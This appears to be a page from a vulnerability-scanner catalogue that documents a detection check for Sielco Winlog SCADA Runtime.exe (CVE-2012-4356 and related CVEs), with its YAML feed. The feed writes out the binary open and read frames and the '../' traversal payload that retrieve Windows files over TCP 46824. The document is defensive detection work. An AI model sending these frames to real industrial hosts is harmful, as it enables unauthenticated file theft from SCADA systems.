Sielco Winlog — 1 vulnerability check

noctis ships 1 vulnerability check for Sielco Winlog, covering 7 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Sielco Sistemi Winlog Runtime.exe directory traversal file read and multiple vulnerabilities

CVECVE-2012-4356, CVE-2012-4353, CVE-2012-4354, CVE-2012-4355, CVE-2012-4357, CVE-2012-4358, CVE-2012-4359
Severitycritical · CVSS 9.3
Categoryfile-read — File read
Servicesunknown
Detectionset_var, script, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 75
Feedtests/vulnerabilities/sielco-winlog/winlog-runtime-multiple-vulns.yaml

Sielco Sistemi Winlog Pro and Winlog Lite SCADA before 2.07.17 run Runtime.exe, which accepts unauthenticated binary file commands on TCP 46824. The file-open command does not confine the path it is given, so a remote attacker can read any file on the host through a `../` traversal (CVE-2012-4356). The same service in these releases also overflows stack and heap buffers and mishandles file and function-pointer indexes on crafted packets, which can lead to remote code execution or a crash (CVE-2012-4353, CVE-2012-4354, CVE-2012-4355, CVE-2012-4357, CVE-2012-4358, CVE-2012-4359).

What the test sends: for each of `windows/win.ini`, `boot.ini` and `winnt/win.ini`, a fresh connection carrying a file-open command (opcode 0x78) for that file through a `../` traversal, then, when the server returns a file stream, one read command (opcode 0x98) for the first block of that stream. Nothing is written, no malformed packet is sent and no command is run.

What confirms the finding: the read reply starts with the read opcode and carries the content of the requested Windows file — `; for 16-bit app support` or the `[fonts]` and `[extensions]` sections of win.ini, or the `[boot loader]` section of boot.ini. A control request for an absent file must not return file content, so a service that answers every request with the same data is not reported. The test stops at the first file read.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Opens a persistent TCP/TLS socket
  3. Sends a binary frame on the open socket
  4. Sends … on the open socket
  5. Parses / computes the next value with a Rhai script
  6. Sends a binary frame on the open socket
  7. Sends … on the open socket
  8. Parses / computes the next value with a Rhai script
  9. Opens a persistent TCP/TLS socket
  10. Sends a binary frame on the open socket
  11. Parses / computes the next value with a Rhai script
  12. Sends a binary frame on the open socket
  13. Parses / computes the next value with a Rhai script
  14. Checks proof for [\s\S]+ → finding QoD 75: Sielco Sistemi Winlog Runtime.exe directory traversal — arbitrary file read

References:

Feed source — tests/vulnerabilities/sielco-winlog/winlog-runtime-multiple-vulns.yaml
# Sielco Sistemi Winlog Pro / Lite SCADA Runtime.exe (TCP 46824) — CVE-2012-4356
# directory traversal file read, plus CVE-2012-4353/4354/4355/4357/4358/4359
# (same service, same or later fixed release).
#
# Detection logic ported from the OpenVAS/Greenbone NVT
# 2012/gb_sielco_sistemi_winlog_mult_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.802879,
# GPL-2.0-only). Kept as a comment: the description is product documentation.
# Frame layout from the NVT and from Metasploit's
# auxiliary/scanner/scada/sielco_winlog_fileaccess (Luigi Auriemma's PoC,
# winlog_2-adv): every request is 20 NUL bytes + a one-byte opcode + arguments.
#   0x78 <path> NUL           open file   -> reply 0x78 <stream u32le>
#   0x98 <offset u32le> <stream 4 bytes> 3 x NUL
#                             read record -> reply 0x98 + 8 header bytes + data
#
# Better than the NVT:
#   - the NVT always reads stream 0 (`0x98` followed by ten NULs). The stream is
#     an index in the server's table of open files, so on a runtime that already
#     holds another file open the NVT reads the wrong file (or nothing). This
#     feed takes the stream returned by the open reply, as the Metasploit module
#     does;
#   - the NVT only tries boot.ini, which Windows Vista and later no longer have;
#     this feed also tries windows\win.ini and winnt\win.ini, each on a fresh
#     connection;
#   - the read reply must start with the 0x98 opcode and carry the file content
#     after the 9-byte header, and a control request for an absent file named
#     after the probed files must not return file content (blanket responders);
#   - an open or read reply that comes late (> 500 ms) is read again instead of lost.
# No close command (0x7B) is sent: its layout targets stream 0, which may be one
# of the runtime's own files; the connection is dropped instead, as the NVT does.
# 2.07.17 fixed the traversal together with CVE-2012-4353/4354/4357/4358, and
# 2.07.18 fixed CVE-2012-4355/4359, so a successful read places the runtime in
# the range hit by all seven CVEs.
uid: 1144ca56-6cbf-422a-9731-754e92014a30
name: "Sielco Sistemi Winlog Runtime.exe directory traversal file read and multiple vulnerabilities"
description: |
  Sielco Sistemi Winlog Pro and Winlog Lite SCADA before 2.07.17 run
  Runtime.exe, which accepts unauthenticated binary file commands on TCP
  46824. The file-open command does not confine the path it is given, so a
  remote attacker can read any file on the host through a `../` traversal
  (CVE-2012-4356). The same service in these releases also overflows stack and
  heap buffers and mishandles file and function-pointer indexes on crafted
  packets, which can lead to remote code execution or a crash
  (CVE-2012-4353, CVE-2012-4354, CVE-2012-4355, CVE-2012-4357,
  CVE-2012-4358, CVE-2012-4359).

  What the test sends: for each of `windows/win.ini`, `boot.ini` and
  `winnt/win.ini`, a fresh connection carrying a file-open command (opcode
  0x78) for that file through a `../` traversal, then, when the server
  returns a file stream, one read command (opcode 0x98) for the first block of
  that stream. Nothing is written, no malformed packet is sent and no command
  is run.

  What confirms the finding: the read reply starts with the read opcode and
  carries the content of the requested Windows file — `; for 16-bit app
  support` or the `[fonts]` and `[extensions]` sections of win.ini, or the
  `[boot loader]` section of boot.ini. A control request for an absent file
  must not return file content, so a service that answers every request with
  the same data is not reported. The test stops at the first file read.
cves: [CVE-2012-4356, CVE-2012-4353, CVE-2012-4354, CVE-2012-4355, CVE-2012-4357, CVE-2012-4358, CVE-2012-4359]
cvss: 9.3
severity: critical
category: file-read
confidence_base: 0.30
tags: [sielco, winlog, scada, ics, path-traversal, file-read, unauthenticated, windows, tcp-46824]
# nmap has no service name or version probe for TCP 46824: the port is
# reported as "unknown".
services: [unknown]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4356"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4353"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4354"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4355"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4357"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4358"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4359"
  - "https://www.cisa.gov/news-events/ics-advisories/icsa-12-213-01a"
  - "https://seclists.org/bugtraq/2012/Jun/189"
  - "https://www.exploit-db.com/exploits/19409"
  - "https://www.rapid7.com/db/modules/auxiliary/scanner/scada/sielco_winlog_fileaccess/"

steps:
  # ── One iteration per Windows file (loop group: every step below runs once
  # per file). Pre-init every result a script or condition reads: a failed
  # step stores nothing and an undefined variable aborts the test.
  - id: init-wo
    action: set_var
    var_name: wo
    var_value: {connected: false}
    loop:
      over:
        - "windows/win.ini"
        - "boot.ini"
        - "winnt/win.ini"
      var: file
  - id: init-op
    action: set_var
    var_name: op
    var_value: {responded: false, response_hex: ""}
  - id: init-op-late
    action: set_var
    var_name: op_late
    var_value: {responded: false, response_hex: ""}
  - id: init-rd
    action: set_var
    var_name: rd
    var_value: {responded: false, response_hex: ""}
  - id: init-rd-late
    action: set_var
    var_name: rd_late
    var_value: {responded: false, response_hex: ""}
  - id: init-co
    action: set_var
    var_name: co
    var_value: {connected: false}
  - id: init-cop
    action: set_var
    var_name: cop
    var_value: {responded: false, response_hex: ""}
  - id: init-crd
    action: set_var
    var_name: crd
    var_value: {responded: false, response_hex: ""}

  # Frames: 20 NUL bytes + opcode + arguments (hex).
  - id: frames
    action: script
    store_as: fr
    code: |
      let hdr = "0000000000000000000000000000000000000000";
      let trav = "../../../../../../../../../../";
      let absent = "windows/win.ini.boot.ini.noctis-absent-" + oob_token;
      #{
        open: hdr + "78" + hexstr(trav + file) + "00",
        ctrl: hdr + "78" + hexstr(trav + absent) + "00"
      }

  - id: connect
    action: tcp_open
    handle: wl
    port: "{{port}}"
    timeout_secs: 10
    store_as: wo

  - id: open-file
    action: tcp_send
    condition: "wo.connected == true"
    handle: wl
    send_hex: "{{fr.open}}"
    store_as: op

  # A reply slower than the engine's read window arrives on the next read.
  - id: open-wait
    action: sleep
    condition: "wo.connected == true && op.responded != true"
    duration_ms: 3000

  - id: open-late
    action: tcp_send
    condition: "wo.connected == true && op.responded != true"
    handle: wl
    send: ""
    store_as: op_late

  # Open reply: 0x78 followed by the 4-byte stream index of the opened file.
  - id: stream
    action: script
    store_as: stream
    code: |
      let h = "";
      if type_of(op.response_hex) == "string" { h += op.response_hex; }
      if type_of(op_late.response_hex) == "string" { h += op_late.response_hex; }
      if strlen(h) >= 10 && substr(h, 0, 1) == "78" { substr(h, 2, 9) } else { "" }

  - id: read-file
    action: tcp_send
    condition: 'stream != ""'
    handle: wl
    send_hex: "00000000000000000000000000000000000000009800000000{{stream}}000000"
    store_as: rd

  # A reply slower than the engine's read window arrives on the next read.
  - id: read-wait
    action: sleep
    condition: 'stream != "" && rd.responded != true'
    duration_ms: 3000

  - id: read-late
    action: tcp_send
    condition: 'stream != "" && rd.responded != true'
    handle: wl
    send: ""
    store_as: rd_late

  - id: close
    action: tcp_close
    handle: wl

  # Read reply: 0x98 + 8 header bytes, then the file data. Returns an excerpt
  # of the file when it carries Windows file content, "" otherwise.
  - id: content
    action: script
    store_as: proof
    code: |
      let h = "";
      if type_of(rd.response_hex) == "string" { h += rd.response_hex; }
      if type_of(rd_late.response_hex) == "string" { h += rd_late.response_hex; }
      let out = "";
      if strlen(h) > 18 && substr(h, 0, 1) == "98" {
        let data = base64_decode(base64_encode_hex(substr(h, 18)));
        if ereg("(?i)(\\[boot loader\\]|; for 16-bit app support|\\[fonts\\][\\s\\S]*\\[extensions\\])", data) {
          let m = eregmatch("^([^\\x00]{1,300})", data);
          if m.len() > 1 { out = m[1]; } else { out = substr(data, 0, 299); }
        }
      }
      out

  # ── Control: the same open + read for an absent file named after the
  # probed files must not return file content.
  - id: ctrl-connect
    action: tcp_open
    condition: 'proof != ""'
    handle: wlc
    port: "{{port}}"
    timeout_secs: 10
    store_as: co

  - id: ctrl-open
    action: tcp_send
    condition: 'proof != "" && co.connected == true'
    handle: wlc
    send_hex: "{{fr.ctrl}}"
    store_as: cop

  - id: ctrl-stream
    action: script
    store_as: cstream
    code: |
      let h = "";
      if type_of(cop.response_hex) == "string" { h = cop.response_hex; }
      if strlen(h) >= 10 && substr(h, 0, 1) == "78" { substr(h, 2, 9) } else { "" }

  - id: ctrl-read
    action: tcp_send
    condition: 'proof != "" && cstream != ""'
    handle: wlc
    send_hex: "00000000000000000000000000000000000000009800000000{{cstream}}000000"
    store_as: crd

  - id: ctrl-close
    action: tcp_close
    handle: wlc

  - id: ctrl-verdict
    action: script
    store_as: blanket
    code: |
      let h = "";
      if type_of(cop.response_hex) == "string" { h += cop.response_hex; }
      if type_of(crd.response_hex) == "string" { h += crd.response_hex; }
      let d = base64_decode(base64_encode_hex(h));
      ereg("(?i)(\\[boot loader\\]|; for 16-bit app support|\\[fonts\\][\\s\\S]*\\[extensions\\])", d)

  - id: file-read
    action: match
    condition: 'proof != "" && blanket == false'
    source: proof
    pattern: "[\\s\\S]+"
    on_match:
      finding:
        title: "Sielco Sistemi Winlog Runtime.exe directory traversal — arbitrary file read"
        description: "An unauthenticated file-open (0x78) and read (0x98) command pair sent to the Winlog runtime on this port returned the content of the Windows file {{file}} through a ../ traversal out of the Winlog directory (CVE-2012-4356). Releases with this flaw (before 2.07.17) also contain the Runtime.exe and TCPIPS_Story.dll buffer overflows, file-index and realloc errors reachable with crafted packets on the same port (CVE-2012-4353, CVE-2012-4354, CVE-2012-4355, CVE-2012-4357, CVE-2012-4358, CVE-2012-4359), which allow remote code execution or a crash without authentication."
        remediation: "Upgrade Sielco Sistemi Winlog Pro / Winlog Lite to 2.07.18 or later. Until then, block TCP 46824 at the host firewall and allow it only from trusted Winlog clients."
        confidence_delta: 0.55
        qod: 75
        evidence: "open + read of {{file}} returned the file content: {{proof}}"
      stop: true

View these feeds on GitHub